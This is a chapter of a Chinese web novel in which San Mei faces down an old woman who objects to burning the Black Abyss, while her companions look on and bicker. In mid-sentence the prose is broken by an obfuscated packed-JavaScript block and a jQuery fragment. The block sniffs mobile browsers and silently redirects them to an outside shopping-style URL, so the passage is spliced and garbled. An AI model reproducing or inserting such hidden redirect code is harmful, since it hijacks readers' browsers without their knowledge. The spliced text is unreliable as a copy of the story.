96. 第 96 章
作品:《棺椁摇梦铃》 “涂达西嘴凸眼斜,一看就不是什么好人,但他向来胆小怕事,又坏又怂,绝对想不出用蛛丝缠住你,再将你架在火上烤这样残忍无道的坏点子。”
三枚语气愤愤然,脑子飞转,窸窸窣窣给小八耳分析具体对它下毒手的贼人。
“指定是贼眉鼠眼的涂远东!胚子烂透了的家伙,最爱躲在背后使坏。”
揪着八耳的紫色单冠,三枚和它大眼瞪小眼,“八耳,你放心,我一定会为你、也为我自己,报仇雪耻的!”
八耳空洞的眼睛瞬间燃起了斗志,响亮地“嘎!”了一声,又恹恹地垂下了头。
跟小八耳喊完话,三枚鼓着劲转身,就听见一个怪腔怪调的声音,听着还挺熟悉。
抬眼一瞧,果然是那油头粉面的裴世子。
许久不见,他的衣着打扮,显然比半年前还要夸张华丽,不管是衣裳的粉色花纹,还是头上的玉冠头饰,都叫人看得眼花缭乱。
站在他身后的邢正,一如既往的五大三粗,一张黑炭脸仿佛更黑了些许,而且他居然还蓄起了络腮胡,看起来更凶神恶煞了。
还有低声在陆衎耳边说着什么的之夜,虽然外形打扮与之前没甚不同,但整个人好像变得沧桑了不少,特别是他眼泛血丝,十分疲惫的样子。
想来都城的差事,也不是那么容易啊,还挺耗费精气神。
看着看着,三枚的视线不知不觉就又来到了陆衎的脸上。
“啧啧,这优越又流畅的脸部线条,”她忍不住在心里感慨,“还是陆衎最好看!”
果然长得好看的人,什么时候任何地点,看起来都是那么地令人神清气爽,心情愉悦。
“不行!”
裴元的身后突然冲出一个眼熟的小老太,狠狠地挥掉陆衎手中的火折子,怒吼道:“不能放火!”
“人你们已经找到,赶紧离开这里便是,我是不会允许你们烧了这里的!”
小老太怒气冲冲,一边发脾气,一边挥舞着手里的旱烟杆,作势就要砸在陆衎的身上。
“你敢!”三枚大喝一声。
“老太婆,你再动一下他试试!”
三枚火冒三丈,用力踢踏着鞋子,“哒哒哒”快速往前迈步,眼神凶狠地瞪着无理取闹的小老太。
小老太被三枚气沉丹田的怒喝唬了一跳,烟杆子举到半空就顿住了。
她老脸一抬,就见三枚一手握拳,一手拎着一只小野鸡,气势汹汹地朝自己走来。
白老太小眼也跟着一瞪:“你干嘛?”
“这话该我问你才是。”
三枚把陆衎护在身后,将八耳塞到了他的怀里,居高临下地回瞪白老太,恶狠狠地道:“你想干嘛!”
白老太对着地上的火折子一指:“他们要放火烧了这里!”
“我让烧的。”三枚双手叉腰,昂首挺胸,理直气壮地道:“怎么地!”
“哇!哇哇!哇哇哇!”
裴元神不知鬼不觉悄悄挪到了邢正的身边,折扇扇得飞快,嘴里不停地发出哇叫声。
“这个小三枚,半年不见,气势越发嚣张啊!”他在邢正耳边小声嘀咕,“瞧瞧,瞧瞧,怒发冲冠的小模样,就像要把那小老太生吞活剥了一样!”
“简直厉害得不得了呀!”
邢正皱眉,嫌弃地看了裴元一眼,“那老太要打陆在野,你没看见?!”
“她打得着吗?”裴元反问,敢打陆在野?估计那手还没伸就废了。
邢正:“我的意思是,人家三枚把陆在野紧紧护在身后,是因为紧张在乎,你难道看不出来吗?”
裴元白眼一翻,“用得着你说!”
在场但凡长了眼睛的人,谁看不出来陆在野和小三枚之间的关系?!
陆在野这厮,明明在都城时冷傲得赛若冰霜,丝毫不动怜香惜玉的人,居然不仅将自己的鞋子让了出来,还心甘情愿地给人拎着一只破鞋。
半年前对长曜郡主和那些缠在他身后的大家闺秀有多冷淡,陆衎此刻脸上的笑容,就有多不值钱!!
“就这样,你还敢说陆在野此番出差,一点私心都没有?”裴元嘴角一歪,一脸“众人皆醉我独醒”的傲娇神色。
邢正斜睨他一眼,“原来陆在野在你心里,就是这样公私不分的人。”说完大踏步往前一迈,把人扔在了原地。
“诶你——”裴元不敢置信,邢安然这木头人,来了都城不到半年,这嘴巴怎么也变得这样刁了?
错过了反驳时机的裴元,立马追了上去,撸起袖子一副要跟他大肆理论一番的架势。
“一个一个的,脾气都大了不少啊......”
——
“黑渊是庇佑我们黑山寨的灵地,你们不许再次放肆!”
三枚不屑一哼:“是灵地还是冥地,老太婆,你可得说清楚了。”
白老太眼神陡然一厉:“你骂谁老太婆呢?”
三枚气势比她还凶:“谁动手打人,谁就是老太婆!”
“他要放火烧了黑渊!”白老太怒指陆衎。
“我说了,是我让他烧的!”三枚理直气壮。
吵了一圈,又绕了回来,白老太气得双手发颤,挥起旱烟杆就要打人。
三枚不但不害怕不后退,反而往前一步,把脸杵到白老太的面前,指着自己的脑袋。
“来呀,你就照着这个地儿打,最好是别手软。”她不仅话说得横,整个人更是拽得不得了。
“你——”白老太一噎,被三枚一身的气势,吓得连连后退,最后腿软跌坐到了地上。
三枚如此暴躁,陆衎看着都有点冒汗,忍不住轻轻拉了拉她的胳膊,他不怕白老太动手,就怕她自个把自己给气伤了。
“三枚,冷静点。”
“你别管!”三枚甩开陆衎,“我就不信了,现在谁都敢随便欺负我的人了!”
八耳被整成那副鬼样子,一点精气神都还没缓过来呢,就有人敢当着她的面打陆衎了!
不把这小老太彻底镇住,传出去了,她就该成那好拿捏的烂柿子了。
想治住白老太的三枚,成功也将邢正他们都给震慑住了,裴元都不敢再小声叨叨了。
只有陆衎,被三枚甩开了手,不仅没有不高兴,反而笑开了花,仿佛浑身都沉浸在欢欣愉悦的暖风里。
现在在他的眼里,除了三枚谁都看不见,脑海里一直循环响彻着“我的人”三个字。
认识这么久,裴元从未在陆衎的脸上看见过这样显而易见的明媚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737551|133884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表情,感觉他嘴角都要咧到后脑勺去了。
“小三枚这样凶狠,真不知道陆在野在开心个什么劲!”
邢正搓了搓胳膊,感觉陆衎脸上的笑容有些瘆人,也默默地移开了视线。
“眼不见为净吧。”他在心里嘀咕道。
和三枚大眼瞪小眼的白老太,坐在冰冷的土地上,指着的三枚的手指颤抖不止,过了好一会儿,才找到了自己的声音。
“你、你、你恩将仇报!”白老太喝道。
三枚哼了一声:“我怎么会掉进黑渊里的,你比谁都清楚!”
这话一出,所有人的脸色都变了,包括高兴得正飘飘然的陆衎。
想到三枚坠落悬崖时手背都被踩烂了,现在隐隐约约还有血迹渗出,陆衎掩饰不住自己心中的怒火,看着白老太的眼神,冷得就像在看一个死人。
“我——”白老太见状,心慌手抖地又往后退了退,急得声音都劈了叉,“推你落崖的人,我根本就不认识!”
果然看见了!
三枚瞬间咬牙切齿,“你什么都看见了,居然见死不救!”
白老太一噎,意识到自己被诈了,磨了磨牙才道:“我个老胳膊老腿的,怎么救?”自投罗网,送人头还差不多。
“不是你们故意将我引导到这儿,我怎么可能会遭暗算?”三枚思路清晰,可不会被白老太牵着鼻子走。
“我也不是坐视不理啊,没有我帮忙,”白老太指着陆衎怀里的小八耳,“这鸡早烤熟了!”
三枚拧着眉:死老太婆,还挺能狡辩!
八耳落得这副田地,她居然还敢振振有词地说帮了忙。
“我可没有撒谎。”白老太见三枚一迟疑,立马重燃气焰,嚯的一下从地上爬了起来,指着八耳道:“不信你问它!”
“当时若不是我用烟杆子扯了一把那个蛛网,还把边上的削成尖的树杈打断,它早就被缠成了蝉蛹,被树杈捅死,直接掉进那碳火里活活烧死了!”
“啧。”裴元这时候往前一步,“我们当时救下八耳的时候,可没见你这小老太的影踪啊。”
小八耳一只不会说话的小稚鸡,怎么开口作证?还不都你一个小老太空口白牙说了算。
没想到他话音刚落,脑袋发焉的小八耳,居然艰难地从陆衎的怀里探出了它的紫色单冠,有气无力地“嘎”了一声,就又无力地向后倒去。
楚楚可怜的模样,仿佛林妹妹附身,柔弱不能自理,真是我见犹怜。
明明半个时辰前,刚从蛛丝里脱身的时候,小八耳那狠辣冷酷的眼神,和亢奋激烈的情绪,仿佛要跟仇人同归于尽的气势,裴元可是看得清清楚楚,至今历历在目。
“咦。”他起了一个胳膊的鸡皮疙瘩,嫌弃得眉头直皱,“它这又演的什么呢?”
三枚转头,不轻不重地睨了裴元一眼,“它说,老太婆说的是真的。”
裴元:“哈?”
小三枚还听得懂鸡言鸡语?那还真是多才多艺。
“既然如此,”有了八耳的证言,三枚姑且原谅了白老太一分。
她收回浑身外露的气势,大发慈悲地道:“那就暂且把账搁着,之后再跟你们算总账。”
“现在,放火烧了黑渊。”